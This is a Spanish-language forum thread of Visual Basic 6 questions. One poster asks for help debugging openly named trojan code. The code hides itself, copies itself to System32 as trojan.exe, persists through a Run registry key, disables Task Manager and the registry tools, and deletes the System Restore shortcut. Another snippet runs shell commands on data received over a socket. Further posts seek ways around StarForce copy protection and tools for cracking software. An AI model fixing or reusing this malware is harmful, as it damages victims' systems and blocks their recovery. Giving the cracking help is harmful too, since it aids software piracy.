Temas

hola tengo una duda en este codigo.
Private Sub WS_DataArrival(ByVal bytesTotal As Long)                        'en la llegada de datos
On Error GoTo Error
dim datos as string
ws.getdata datos          'metemos en la variable datos los datos que nos lleguen
if datos = "paint" then shell ("mspaint")                    ' si los datos eran = a "paint" entonces ejecuta el paint
end sub

me dice label not defined

hola no encuentro donde està el boton cmdok en visual basic 6.0 alguno me puede ayudar?

Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False

en esta linea de codigo me da error:Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe


y me da algunos errores mas que puede ser?

vieron que flatout2 usa star force 4?dicen que la nica manera de hacerlo andar es: Burn with Blindwrite 6.0, make sure to use discs with mediacode
DaxonD42,Philips041,INFODISC-A10-001,TDK601saku, DAXON AZ2,CMC W03.
3. Install.
4. Play from a external USB dvd drive,and make sure Blindwrite 6.0 is
installed on the system you want to use to play. que opinan? miren esto
http://www.metacafe.com/watch/176480/st%20

que programas me sirver para crackear un juego?o un programa?

hola donde puedo encontrar este crackeador?o si hai mas nuevos mejor y los programas asembler y disasembler?